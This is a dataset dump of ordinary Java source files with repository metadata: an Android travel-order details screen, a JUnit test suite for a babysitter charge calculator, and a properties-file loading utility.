public void handleMessage(Message msg) {
super.handleMessage(msg);
switch (msg.what) {
case FINISH_CODE:
dialog.dismiss();
initView();
initListener();
mOrdeContactlist=mOrderdetailsInfo.getOrdercontact();
mOrderTravellerAdapter=new OrderTravellerAdapter(OrderDetailsActivity.this,mOrdeContactlist);
mListTraveller.setAdapter(mOrderTravellerAdapter);
HomeForthGridView.setListViewHeight(mListTraveller);
mOrderTravellerAdapter.notifyDataSetChanged();
break;
case FINISH_CODE_S:
mOrdeContactlist.clear();
initData();
// mOrderTravellerAdapter.notifyDataSetChanged();
break;
default:
break;
};
}
};
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_order_details_content);
dialog=new LoadingDialog(this);
dialog.show();
Date d=new Date();
mSimpleTime=new SimpleDateFormat("yyyy-MM-dd-HH-mm-ss");
nTime=mSimpleTime.format(d);
getdata();
initData();
}
private void getdata(){
Intent intent=getIntent();
orderid=intent.getStringExtra("orderid");
}
private void initData(){
JSONObject jbody=null;
try {
jbody = new JSONObject();
jbody.put("id",orderid);
jbody.put("method","QueryOrderInfo");
} catch (JSONException e) {
e.printStackTrace();
}
JSONObject jbodyB= JsonUtils.JsonParseInfo(nTime,jbody);
dohttpOrderdetailsInfo(UrlUtils.ROUTE_LINE,jbodyB);
}
private void initView(){
TextView mTitlename=(TextView)findViewById(R.id.tv_title_name_change);
mTitlename.setText("订单详情");
mTitlename.setTextColor(getApplicationContext().getResources().getColor(R.color.dark_3));
ImageView mImgMore=(ImageView)findViewById(R.id.img_title_message);//更多图案
mImgMore.setVisibility(View.GONE);
mBack=(LinearLayout)findViewById(R.id.iv_back);//返回
mScrollview=(ScrollView)findViewById(R.id.scrollview_orderdetails);//srcollview布局
mScrollview.smoothScrollTo(0,0);
submitpay=(LinearLayout) findViewById(R.id.ln_submit_details_pay);//付款按钮
TextView mDetailsa=(TextView) findViewById(R.id.tv_order_details_a);//订单号
TextView mDetailsb=(TextView) findViewById(R.id.tv_order_details_b);//状态
String ordercode=mOrderdetailsInfo.getOrderdata().getOrder_code();
String orderstate=mOrderdetailsInfo.getOrderdata().getOrder_state();
getState(orderstate,mDetailsb);//设置状态显示
mDetailsa.setText("订单号:"+ordercode);//订单号显示
TextView mDetailsc=(TextView)findViewById(R.id.tv_order_details_c);//出游标题
mDetailsc.setText(mOrderdetailsInfo.getOrderteam().getTeam_title());
TextView mDetailsd=(TextView)findViewById(R.id.tv_order_details_d);//订单金额
mDetailsd.setText("订单金额:"+mOrderdetailsInfo.getOrderdata().getOrder_total_money());
TextView mDetailse=(TextView)findViewById(R.id.tv_order_details_e);//已支付金额
mDetailse.setText("已支付金额:"+mOrderdetailsInfo.getOrderdata().getOrder_paid_money());
TextView mDetailsf=(TextView)findViewById(R.id.tv_order_details_f);//出发城市
mDetailsf.setText("出发城市:"+mOrderdetailsInfo.getOrderteam().getOrder_startcity());
TextView mDetailsg=(TextView)findViewById(R.id.tv_order_details_g);//出游日期
mDetailsg.setText("出游日期:"+mOrderdetailsInfo.getOrderteam().getGodate());
TextView mDetailsh=(TextView)findViewById(R.id.tv_order_details_h);//返回日期
mDetailsh.setText("返回日期:"+mOrderdetailsInfo.getOrderteam().getBackdate());
TextView mTvcrqty=(TextView)findViewById(R.id.tv_details_crqty);//成人
TextView mTvrtqty=(TextView)findViewById(R.id.tv_details_rtqty);//儿童
TextView mTvlrqty=(TextView)findViewById(R.id.tv_details_lrqty);//老人
TextView mTvxsqty=(TextView)findViewById(R.id.tv_details_xsqty);//学生
if (firstbool){
for (int i=0;i<mOrderdetailsInfo.getOrderproduct().size();i++){
OrderdetailsEntry.OrderproductBean minfo =mOrderdetailsInfo.getOrderproduct().get(i);
int crqty=minfo.getCrqty()==null?0:Integer.parseInt(minfo.getCrqty());
int rtqty=minfo.getRtqty()==null?0:Integer.parseInt(minfo.getRtqty());
int lrqty=minfo.getLrqty()==null?0:Integer.parseInt(minfo.getLrqty());
int xsqty=minfo.getXsqty()==null?0:Integer.parseInt(minfo.getXsqty());
crqtydetails+=crqty;
rtqtydetails+=rtqty;
lrqtydetails+=lrqty;
xsqtydetails+=xsqty;
}
}
if (crqtydetails!=0){
mTvcrqty.setVisibility(View.VISIBLE);
mTvcrqty.setText("成人"+crqtydetails);
}
if (rtqtydetails!=0){
mTvrtqty.setVisibility(View.VISIBLE);
mTvrtqty.setText("儿童"+rtqtydetails);
}
if (lrqtydetails!=0){
mTvlrqty.setVisibility(View.VISIBLE);
mTvlrqty.setText("老人"+lrqtydetails);
}
if (xsqtydetails!=0){
mTvxsqty.setVisibility(View.VISIBLE);
mTvxsqty.setText("学生"+xsqtydetails);
}
TextView mDetailsi=(TextView)findViewById(R.id.tv_order_details_i);//姓名
TextView mDetailsj=(TextView)findViewById(R.id.tv_order_details_j);//手机
TextView mDetailsk=(TextView)findViewById(R.id.tv_order_details_k);//邮箱
mDetailsi.setText("姓名:"+mOrderdetailsInfo.getOrderdata().getLink_man());
mDetailsj.setText("手机:"+mOrderdetailsInfo.getOrderdata().getLink_mobile());
mDetailsk.setText("邮箱:"+mOrderdetailsInfo.getOrderdata().getLink_email());
mRladdtraveller=(RelativeLayout)findViewById(R.id.rl_order_add_traveller);//旅客信息
mListTraveller=(ListView)findViewById(R.id.list_order_traveller);//当前旅客信息列表显示
mImageTravel=(ImageView)findViewById(R.id.img_select_traveller);//箭头显示
personnum=crqtydetails+rtqtydetails+lrqtydetails+xsqtydetails;//所有人数
ordercontact=mOrderdetailsInfo.getOrdercontact().size();//已选择了的人数
if (ordercontact>=personnum){
mRladdtraveller.setClickable(false);
mImageTravel.setVisibility(View.GONE);
}
}
private void initListener(){
OnClickListenerImpl listener = new OnClickListenerImpl();
mBack.setOnClickListener(listener);
submitpay.setOnClickListener(listener);
mRladdtraveller.setOnClickListener(listener);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
switch(resultCode){
case 66:
firstbool=false;
handler.sendEmptyMessage(FINISH_CODE_S);
break;
default:
break;
}
}
private class OnClickListenerImpl implements View.OnClickListener {
@Override
public void onClick(View view) {
switch (view.getId()) {
case R.id.iv_back:
finish();
break;
case R.id.ln_submit_details_pay:
Intent intentre=new Intent(OrderDetailsActivity.this,PayActivity.class);
intentre.putExtra("title",mOrderdetailsInfo.getOrderteam().getTeam_title());
intentre.putExtra("godate",mOrderdetailsInfo.getOrderteam().getGodate());
intentre.putExtra("crqtydetails",crqtydetails);
intentre.putExtra("rtqtydetails",rtqtydetails);
intentre.putExtra("lrqtydetails",lrqtydetails);
intentre.putExtra("xsqtydetails",xsqtydetails);
intentre.putExtra("notpaidmoney",mOrderdetailsInfo.getOrderdata().getOrder_notpaid_money());
intentre.putExtra("ordercode",mOrderdetailsInfo.getOrderdata().getOrder_code());
startActivity(intentre);
break;
//旅客信息选择跳转
case R.id.rl_order_add_traveller:
if (ordercontact<personnum) {
Intent intentpre = new Intent(OrderDetailsActivity.this, PerTravellerInfoActivity.class);
intentpre.putExtra("contactlist",(Serializable) mOrdeContactlist);
intentpre.putExtra("personnum",personnum);
intentpre.putExtra("detailsorderid",orderid);
startActivityForResult(intentpre,97);
}
break;
default:
break;
}
}
}
protected void dohttpOrderdetailsInfo(String url,JSONObject paramhash){
HttpUtils.dopost(url,getApplicationContext(),paramhash, new HttpUtils.CallBack() {
@Override
public void onRequestComplete(String result) {
JsonmModel homeinfoa=gson.fromJson(result,JsonmModel.class);
String body= Base64Utils.getFromBase64(homeinfoa.getBody());
mOrderdetailsInfo=gson.fromJson(body, OrderdetailsEntry.class);
handler.sendEmptyMessage(FINISH_CODE);
}
@Override
public void onRequestErr(String err) {
}
});
}
private void getState(String state, TextView textView){
if (state.equals("1")){
textView.setText("待审核");
}else if(state.equals("2")){
textView.setText("待付款");
submitpay.setVisibility(View.VISIBLE);
// LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT);
// layoutParams.setMargins(0,0,0,50);//4个参数按顺序分别是左上右下
// mScrollview.setLayoutParams(layoutParams);
mScrollview.setPadding(0,0,0,100);
}else if(state.equals("3")){
textView.setText("待确定");
}else if(state.equals("4")){
textView.setText("已完成");
}else if(state.equals("5")){
textView.setText("已取消");
}else if(state.equals("6")){
textView.setText("已删除");
}else if(state.equals("7")){
textView.setText("已作废");
}else if(state.equals("8")){
textView.setText("待出游");
}
}
}
| UTF-8 | Java | 13,454 | java | OrderDetailsActivity.java | Java | [
{
"context": "l.Date;\nimport java.util.List;\n\n\n/**\n * Created by host on 2017/3/16.\n */\n\npublic class OrderDetailsActiv",
"end": 1265,
"score": 0.8625327944755554,
"start": 1261,
"tag": "USERNAME",
"value": "host"
}
]
| null | []
| package com.example.host.jsnewmall.activity;
import android.content.Intent;
import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.ListView;
import android.widget.RelativeLayout;
import android.widget.ScrollView;
import android.widget.TextView;
import com.example.host.jsnewmall.adapter.OrderTravellerAdapter;
import com.example.host.jsnewmall.model.JsonmModel;
import com.example.host.jsnewmall.model.OrderdetailsEntry;
import com.example.host.jsnewmall.utils.Base64Utils;
import com.example.host.jsnewmall.utils.HttpUtils;
import com.example.host.jsnewmall.utils.JsonUtils;
import com.example.host.jsnewmall.utils.ToastUtils;
import com.example.host.jsnewmall.utils.UrlUtils;
import com.example.host.jsnewmall.view.HomeForthGridView;
import com.example.host.jsnewmall.view.LoadingDialog;
import com.google.gson.Gson;
import com.uu1.nmw.R;
import org.json.JSONException;
import org.json.JSONObject;
import org.w3c.dom.Text;
import java.io.Serializable;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
/**
* Created by host on 2017/3/16.
*/
public class OrderDetailsActivity extends BaseActivity {
private SimpleDateFormat mSimpleTime;
private String nTime;
Gson gson=new Gson();
private LoadingDialog dialog;
private static final int FINISH_CODE=100;
private static final int FINISH_CODE_S=103;
private OrderdetailsEntry mOrderdetailsInfo;
private String orderid;
private LinearLayout mBack;
private LinearLayout submitpay;
private int crqtydetails = 0;
private int rtqtydetails = 0;
private int lrqtydetails = 0;
private int xsqtydetails = 0;
private RelativeLayout mRladdtraveller;
private ImageView mImageTravel;
private int personnum;
private int ordercontact;
private ListView mListTraveller;
private List<OrderdetailsEntry.OrdercontactBean> mOrdeContactlist;
private OrderTravellerAdapter mOrderTravellerAdapter;
private ScrollView mScrollview;
private boolean firstbool=true;
private Handler handler=new Handler(){
@Override
public void handleMessage(Message msg) {
super.handleMessage(msg);
switch (msg.what) {
case FINISH_CODE:
dialog.dismiss();
initView();
initListener();
mOrdeContactlist=mOrderdetailsInfo.getOrdercontact();
mOrderTravellerAdapter=new OrderTravellerAdapter(OrderDetailsActivity.this,mOrdeContactlist);
mListTraveller.setAdapter(mOrderTravellerAdapter);
HomeForthGridView.setListViewHeight(mListTraveller);
mOrderTravellerAdapter.notifyDataSetChanged();
break;
case FINISH_CODE_S:
mOrdeContactlist.clear();
initData();
// mOrderTravellerAdapter.notifyDataSetChanged();
break;
default:
break;
};
}
};
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_order_details_content);
dialog=new LoadingDialog(this);
dialog.show();
Date d=new Date();
mSimpleTime=new SimpleDateFormat("yyyy-MM-dd-HH-mm-ss");
nTime=mSimpleTime.format(d);
getdata();
initData();
}
private void getdata(){
Intent intent=getIntent();
orderid=intent.getStringExtra("orderid");
}
private void initData(){
JSONObject jbody=null;
try {
jbody = new JSONObject();
jbody.put("id",orderid);
jbody.put("method","QueryOrderInfo");
} catch (JSONException e) {
e.printStackTrace();
}
JSONObject jbodyB= JsonUtils.JsonParseInfo(nTime,jbody);
dohttpOrderdetailsInfo(UrlUtils.ROUTE_LINE,jbodyB);
}
private void initView(){
TextView mTitlename=(TextView)findViewById(R.id.tv_title_name_change);
mTitlename.setText("订单详情");
mTitlename.setTextColor(getApplicationContext().getResources().getColor(R.color.dark_3));
ImageView mImgMore=(ImageView)findViewById(R.id.img_title_message);//更多图案
mImgMore.setVisibility(View.GONE);
mBack=(LinearLayout)findViewById(R.id.iv_back);//返回
mScrollview=(ScrollView)findViewById(R.id.scrollview_orderdetails);//srcollview布局
mScrollview.smoothScrollTo(0,0);
submitpay=(LinearLayout) findViewById(R.id.ln_submit_details_pay);//付款按钮
TextView mDetailsa=(TextView) findViewById(R.id.tv_order_details_a);//订单号
TextView mDetailsb=(TextView) findViewById(R.id.tv_order_details_b);//状态
String ordercode=mOrderdetailsInfo.getOrderdata().getOrder_code();
String orderstate=mOrderdetailsInfo.getOrderdata().getOrder_state();
getState(orderstate,mDetailsb);//设置状态显示
mDetailsa.setText("订单号:"+ordercode);//订单号显示
TextView mDetailsc=(TextView)findViewById(R.id.tv_order_details_c);//出游标题
mDetailsc.setText(mOrderdetailsInfo.getOrderteam().getTeam_title());
TextView mDetailsd=(TextView)findViewById(R.id.tv_order_details_d);//订单金额
mDetailsd.setText("订单金额:"+mOrderdetailsInfo.getOrderdata().getOrder_total_money());
TextView mDetailse=(TextView)findViewById(R.id.tv_order_details_e);//已支付金额
mDetailse.setText("已支付金额:"+mOrderdetailsInfo.getOrderdata().getOrder_paid_money());
TextView mDetailsf=(TextView)findViewById(R.id.tv_order_details_f);//出发城市
mDetailsf.setText("出发城市:"+mOrderdetailsInfo.getOrderteam().getOrder_startcity());
TextView mDetailsg=(TextView)findViewById(R.id.tv_order_details_g);//出游日期
mDetailsg.setText("出游日期:"+mOrderdetailsInfo.getOrderteam().getGodate());
TextView mDetailsh=(TextView)findViewById(R.id.tv_order_details_h);//返回日期
mDetailsh.setText("返回日期:"+mOrderdetailsInfo.getOrderteam().getBackdate());
TextView mTvcrqty=(TextView)findViewById(R.id.tv_details_crqty);//成人
TextView mTvrtqty=(TextView)findViewById(R.id.tv_details_rtqty);//儿童
TextView mTvlrqty=(TextView)findViewById(R.id.tv_details_lrqty);//老人
TextView mTvxsqty=(TextView)findViewById(R.id.tv_details_xsqty);//学生
if (firstbool){
for (int i=0;i<mOrderdetailsInfo.getOrderproduct().size();i++){
OrderdetailsEntry.OrderproductBean minfo =mOrderdetailsInfo.getOrderproduct().get(i);
int crqty=minfo.getCrqty()==null?0:Integer.parseInt(minfo.getCrqty());
int rtqty=minfo.getRtqty()==null?0:Integer.parseInt(minfo.getRtqty());
int lrqty=minfo.getLrqty()==null?0:Integer.parseInt(minfo.getLrqty());
int xsqty=minfo.getXsqty()==null?0:Integer.parseInt(minfo.getXsqty());
crqtydetails+=crqty;
rtqtydetails+=rtqty;
lrqtydetails+=lrqty;
xsqtydetails+=xsqty;
}
}
if (crqtydetails!=0){
mTvcrqty.setVisibility(View.VISIBLE);
mTvcrqty.setText("成人"+crqtydetails);
}
if (rtqtydetails!=0){
mTvrtqty.setVisibility(View.VISIBLE);
mTvrtqty.setText("儿童"+rtqtydetails);
}
if (lrqtydetails!=0){
mTvlrqty.setVisibility(View.VISIBLE);
mTvlrqty.setText("老人"+lrqtydetails);
}
if (xsqtydetails!=0){
mTvxsqty.setVisibility(View.VISIBLE);
mTvxsqty.setText("学生"+xsqtydetails);
}
TextView mDetailsi=(TextView)findViewById(R.id.tv_order_details_i);//姓名
TextView mDetailsj=(TextView)findViewById(R.id.tv_order_details_j);//手机
TextView mDetailsk=(TextView)findViewById(R.id.tv_order_details_k);//邮箱
mDetailsi.setText("姓名:"+mOrderdetailsInfo.getOrderdata().getLink_man());
mDetailsj.setText("手机:"+mOrderdetailsInfo.getOrderdata().getLink_mobile());
mDetailsk.setText("邮箱:"+mOrderdetailsInfo.getOrderdata().getLink_email());
mRladdtraveller=(RelativeLayout)findViewById(R.id.rl_order_add_traveller);//旅客信息
mListTraveller=(ListView)findViewById(R.id.list_order_traveller);//当前旅客信息列表显示
mImageTravel=(ImageView)findViewById(R.id.img_select_traveller);//箭头显示
personnum=crqtydetails+rtqtydetails+lrqtydetails+xsqtydetails;//所有人数
ordercontact=mOrderdetailsInfo.getOrdercontact().size();//已选择了的人数
if (ordercontact>=personnum){
mRladdtraveller.setClickable(false);
mImageTravel.setVisibility(View.GONE);
}
}
private void initListener(){
OnClickListenerImpl listener = new OnClickListenerImpl();
mBack.setOnClickListener(listener);
submitpay.setOnClickListener(listener);
mRladdtraveller.setOnClickListener(listener);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
switch(resultCode){
case 66:
firstbool=false;
handler.sendEmptyMessage(FINISH_CODE_S);
break;
default:
break;
}
}
private class OnClickListenerImpl implements View.OnClickListener {
@Override
public void onClick(View view) {
switch (view.getId()) {
case R.id.iv_back:
finish();
break;
case R.id.ln_submit_details_pay:
Intent intentre=new Intent(OrderDetailsActivity.this,PayActivity.class);
intentre.putExtra("title",mOrderdetailsInfo.getOrderteam().getTeam_title());
intentre.putExtra("godate",mOrderdetailsInfo.getOrderteam().getGodate());
intentre.putExtra("crqtydetails",crqtydetails);
intentre.putExtra("rtqtydetails",rtqtydetails);
intentre.putExtra("lrqtydetails",lrqtydetails);
intentre.putExtra("xsqtydetails",xsqtydetails);
intentre.putExtra("notpaidmoney",mOrderdetailsInfo.getOrderdata().getOrder_notpaid_money());
intentre.putExtra("ordercode",mOrderdetailsInfo.getOrderdata().getOrder_code());
startActivity(intentre);
break;
//旅客信息选择跳转
case R.id.rl_order_add_traveller:
if (ordercontact<personnum) {
Intent intentpre = new Intent(OrderDetailsActivity.this, PerTravellerInfoActivity.class);
intentpre.putExtra("contactlist",(Serializable) mOrdeContactlist);
intentpre.putExtra("personnum",personnum);
intentpre.putExtra("detailsorderid",orderid);
startActivityForResult(intentpre,97);
}
break;
default:
break;
}
}
}
protected void dohttpOrderdetailsInfo(String url,JSONObject paramhash){
HttpUtils.dopost(url,getApplicationContext(),paramhash, new HttpUtils.CallBack() {
@Override
public void onRequestComplete(String result) {
JsonmModel homeinfoa=gson.fromJson(result,JsonmModel.class);
String body= Base64Utils.getFromBase64(homeinfoa.getBody());
mOrderdetailsInfo=gson.fromJson(body, OrderdetailsEntry.class);
handler.sendEmptyMessage(FINISH_CODE);
}
@Override
public void onRequestErr(String err) {
}
});
}
private void getState(String state, TextView textView){
if (state.equals("1")){
textView.setText("待审核");
}else if(state.equals("2")){
textView.setText("待付款");
submitpay.setVisibility(View.VISIBLE);
// LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT);
// layoutParams.setMargins(0,0,0,50);//4个参数按顺序分别是左上右下
// mScrollview.setLayoutParams(layoutParams);
mScrollview.setPadding(0,0,0,100);
}else if(state.equals("3")){
textView.setText("待确定");
}else if(state.equals("4")){
textView.setText("已完成");
}else if(state.equals("5")){
textView.setText("已取消");
}else if(state.equals("6")){
textView.setText("已删除");
}else if(state.equals("7")){
textView.setText("已作废");
}else if(state.equals("8")){
textView.setText("待出游");
}
}
}
| 13,454 | 0.642824 | 0.638158 | 357 | 35.616245 | 29.588041 | 159 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.672269 | false | false | 14 |
98cdea58f93fb66036b8d9c5915991a66790b70b | 10,282,151,761,044 | 55b4bd4fdf94d967901ccb241a699d6b44174dbf | /src/test/java/babysitter/BabySitterTest.java | cbaa4034deabe6490e070cb887c14fa6485d9e8d | []
| no_license | nshilpa99/BabySitter | https://github.com/nshilpa99/BabySitter | b2f0f91ac76d4cd77c1d4fdde76980eda3d74601 | de6ffdf2824d3071c9b7c989102d7163e251bf28 | refs/heads/master | 2020-12-31T06:22:24.795000 | 2016-04-12T13:38:08 | 2016-04-12T13:38:08 | 55,993,678 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package babysitter;
import static org.junit.Assert.*;
import org.unit.test;
public class BabySitterTest
{
@Test
public void getBabySitterMinimumStartTimeAndMaximumEndTime(){
BabySitter babySitter = new BabySitter();
int startTime = babySitter.getAllowableStartTime();
int endTime = babySitter.getAllowableEndTime();
assertEquals(17, startTime);
assertEquals(4, endTime);
}
@Test
public void acceptsBabySittersNewStartTimeAndEndTimeIfWithinAllowableTimeRange(){
BabySitter babySitter = new BabySitter(18, 20, 4);
assertEquals(18, babySitter.getStartTime());
assertEquals(20, babySitter.getBedTime());
assertEquals(4, babySitter.getEndTime());
}
@Test(expected = NotAllowableTimeRangeException.class)
public void startTimeNotWithinAllowableTimeRangeThrowsException(){
BabySitter babySitter = new BabySitter(14, 20, 1);
}
@Test(expected = NotAllowableTimeRangeException.class)
public void endTimeNotWithinAllowableTimeRangeThrowsException(){
BabySitter babySitter = new BabySitter(19, 20, 5);
}
@Test
public void get24HrFormatForStartTimeToCalculateCharge(){
BabySitter babySitter = new BabySitter(18, 20, 4);
assertEquals(18, babySitter. get24HrFormatStartTime());
}
@Test
public void get24HrFormatForBedTimeToCalculateCharge(){
BabySitter babySitter = new BabySitter(18, 20, 4);
assertEquals(20, babySitter. get24HrFormatBedTime());
}
@Test
public void get24HrFormatForEndTimeToCalculateCharge(){
BabySitter babySitter = new BabySitter(18, 20, 4);
assertEquals(28, babySitter. get24HrFormatEndTime());
}
@Test
public void ifStartTimeIsSixPMAndEndTimeIs8PMChargeCalculatorUsesHourlyRateAs12For2hrs(){
BabySitter babySitter = new BabySitter(18, 20, 20);
assertEquals(24, babySitter. getNightlyCharge());
}
@Test
public void ifStartTimeIsFivePMAndEndTimeIs8PMChargeCalculatorUsesHourlyRateAs12For3hrs(){
BabySitter babySitter = new BabySitter(17, 20, 20);
assertEquals(36, babySitter. getNightlyCharge());
}
@Test
public void ifStartTimeIsFivePMAndEndTimeIs10PMAfterBedTimeChargeCalculatorUsesHourlyRateAs12And8For5hrs(){
BabySitter babySitter = new BabySitter(17, 20, 22);
assertEquals(52, babySitter. getNightlyCharge());
}
@Test
public void ifStartTimeIsFivePMAndEndTimeIsMidnightChargeCalculatorUsesHourlyRateAs12And8For7hrs(){
BabySitter babySitter = new BabySitter(17, 20, 24);
assertEquals(68, babySitter. getNightlyCharge());
}
@Test
public void ifStartTimeIsAfterMidnightChargeCalculatorUsesHourlyRateAs16(){
BabySitter babySitter = new BabySitter(1, 20, 4);
assertEquals(48, babySitter. getNightlyCharge());
}
}
| UTF-8 | Java | 2,645 | java | BabySitterTest.java | Java | []
| null | []
| package babysitter;
import static org.junit.Assert.*;
import org.unit.test;
public class BabySitterTest
{
@Test
public void getBabySitterMinimumStartTimeAndMaximumEndTime(){
BabySitter babySitter = new BabySitter();
int startTime = babySitter.getAllowableStartTime();
int endTime = babySitter.getAllowableEndTime();
assertEquals(17, startTime);
assertEquals(4, endTime);
}
@Test
public void acceptsBabySittersNewStartTimeAndEndTimeIfWithinAllowableTimeRange(){
BabySitter babySitter = new BabySitter(18, 20, 4);
assertEquals(18, babySitter.getStartTime());
assertEquals(20, babySitter.getBedTime());
assertEquals(4, babySitter.getEndTime());
}
@Test(expected = NotAllowableTimeRangeException.class)
public void startTimeNotWithinAllowableTimeRangeThrowsException(){
BabySitter babySitter = new BabySitter(14, 20, 1);
}
@Test(expected = NotAllowableTimeRangeException.class)
public void endTimeNotWithinAllowableTimeRangeThrowsException(){
BabySitter babySitter = new BabySitter(19, 20, 5);
}
@Test
public void get24HrFormatForStartTimeToCalculateCharge(){
BabySitter babySitter = new BabySitter(18, 20, 4);
assertEquals(18, babySitter. get24HrFormatStartTime());
}
@Test
public void get24HrFormatForBedTimeToCalculateCharge(){
BabySitter babySitter = new BabySitter(18, 20, 4);
assertEquals(20, babySitter. get24HrFormatBedTime());
}
@Test
public void get24HrFormatForEndTimeToCalculateCharge(){
BabySitter babySitter = new BabySitter(18, 20, 4);
assertEquals(28, babySitter. get24HrFormatEndTime());
}
@Test
public void ifStartTimeIsSixPMAndEndTimeIs8PMChargeCalculatorUsesHourlyRateAs12For2hrs(){
BabySitter babySitter = new BabySitter(18, 20, 20);
assertEquals(24, babySitter. getNightlyCharge());
}
@Test
public void ifStartTimeIsFivePMAndEndTimeIs8PMChargeCalculatorUsesHourlyRateAs12For3hrs(){
BabySitter babySitter = new BabySitter(17, 20, 20);
assertEquals(36, babySitter. getNightlyCharge());
}
@Test
public void ifStartTimeIsFivePMAndEndTimeIs10PMAfterBedTimeChargeCalculatorUsesHourlyRateAs12And8For5hrs(){
BabySitter babySitter = new BabySitter(17, 20, 22);
assertEquals(52, babySitter. getNightlyCharge());
}
@Test
public void ifStartTimeIsFivePMAndEndTimeIsMidnightChargeCalculatorUsesHourlyRateAs12And8For7hrs(){
BabySitter babySitter = new BabySitter(17, 20, 24);
assertEquals(68, babySitter. getNightlyCharge());
}
@Test
public void ifStartTimeIsAfterMidnightChargeCalculatorUsesHourlyRateAs16(){
BabySitter babySitter = new BabySitter(1, 20, 4);
assertEquals(48, babySitter. getNightlyCharge());
}
}
| 2,645 | 0.784418 | 0.741301 | 88 | 29.045454 | 29.165636 | 108 | false | false | 0 | 0 | 0 | 0 | 92 | 0.147882 | 1.784091 | false | false | 14 |
89ecb3ac113cb60dce05dc75c2e6208c0920c980 | 39,316,130,630,116 | c3c1d5ec22ae97c89d2334c09685d6e7a0d5abcd | /src/main/java/com/ldzhn/baseframework/utils/PropertiesUtil.java | d1105708f37f2c1e78bd87f81543cbe071f8e55b | []
| no_license | liulianglin/base-framework | https://github.com/liulianglin/base-framework | 502d38561d73a25b45d7cc7c66080abcb2474dc2 | a595fc8e59c78437d5b759f86bc6b10d7ae4a2f9 | refs/heads/master | 2020-04-11T07:22:29.293000 | 2018-12-13T08:37:57 | 2018-12-13T08:37:57 | 161,608,063 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.ldzhn.baseframework.utils;
import java.io.*;
import java.util.Properties;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
* @Author : llliu
* @Despriction : 配置文件读取工具类
* 用途: 如果不想通过spring boot的方式处理配置文件,可以使用该工具类进行处理
* @Date : create on 2018/11/26 23:18
*/
public class PropertiesUtil {
private static final Logger logger = LoggerFactory.getLogger(PropertiesUtil.class);
private static Properties props;
synchronized static private void loadProps(String properties){
logger.info("开始加载properties文件内容.......");
props = new Properties();
InputStream in = null;
try {
//通过类加载器进行获取properties文件流
in = PropertiesUtil.class.getClassLoader().getResourceAsStream(properties);
props.load(in);
} catch (FileNotFoundException e) {
logger.error("properties文件未找到");
} catch (IOException e) {
logger.error("出现IOException");
} finally {
try {
if(null != in) {
in.close();
}
} catch (IOException e) {
logger.error("properties文件流关闭出现异常");
}
}
logger.info("加载properties文件内容完成...........");
logger.info("properties文件内容:" + props);
}
/**
* 根据key获取配置
* @param key key
* @param propertiesFile 配置文件
* @return
*/
public static String getProperty(String key,String propertiesFile){
if(null == props) {
loadProps(propertiesFile);
}
return props.getProperty(key);
}
/**
* 根据key获取配置,如果没有使用默认值
* @param key key
* @param defaultValue 默认值
* @param propertiesFile 配置文件
* @return
*/
public static String getProperty(String key, String defaultValue,String propertiesFile) {
if(null == props) {
loadProps(propertiesFile);
}
return props.getProperty(key, defaultValue);
}
}
| UTF-8 | Java | 2,265 | java | PropertiesUtil.java | Java | [
{
"context": "\nimport org.slf4j.LoggerFactory;\n\n/**\n * @Author : llliu\n * @Despriction : 配置文件读取工具类\n * 用途: 如果不想通过spring ",
"end": 167,
"score": 0.9996245503425598,
"start": 162,
"tag": "USERNAME",
"value": "llliu"
}
]
| null | []
| package com.ldzhn.baseframework.utils;
import java.io.*;
import java.util.Properties;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
* @Author : llliu
* @Despriction : 配置文件读取工具类
* 用途: 如果不想通过spring boot的方式处理配置文件,可以使用该工具类进行处理
* @Date : create on 2018/11/26 23:18
*/
public class PropertiesUtil {
private static final Logger logger = LoggerFactory.getLogger(PropertiesUtil.class);
private static Properties props;
synchronized static private void loadProps(String properties){
logger.info("开始加载properties文件内容.......");
props = new Properties();
InputStream in = null;
try {
//通过类加载器进行获取properties文件流
in = PropertiesUtil.class.getClassLoader().getResourceAsStream(properties);
props.load(in);
} catch (FileNotFoundException e) {
logger.error("properties文件未找到");
} catch (IOException e) {
logger.error("出现IOException");
} finally {
try {
if(null != in) {
in.close();
}
} catch (IOException e) {
logger.error("properties文件流关闭出现异常");
}
}
logger.info("加载properties文件内容完成...........");
logger.info("properties文件内容:" + props);
}
/**
* 根据key获取配置
* @param key key
* @param propertiesFile 配置文件
* @return
*/
public static String getProperty(String key,String propertiesFile){
if(null == props) {
loadProps(propertiesFile);
}
return props.getProperty(key);
}
/**
* 根据key获取配置,如果没有使用默认值
* @param key key
* @param defaultValue 默认值
* @param propertiesFile 配置文件
* @return
*/
public static String getProperty(String key, String defaultValue,String propertiesFile) {
if(null == props) {
loadProps(propertiesFile);
}
return props.getProperty(key, defaultValue);
}
}
| 2,265 | 0.577514 | 0.570579 | 70 | 27.842857 | 21.326466 | 93 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.371429 | false | false | 14 |
0056369cb1cdd7cb130b103620bb980f06d03129 | 29,875,792,570,901 | 3518665497a0594fb063c9c7626e346097b150f7 | /DEVSJAVA_Eclipse/src/midterm/efp.java | b2860dcd6c108501f5b312cf2343b9f37e152390 | []
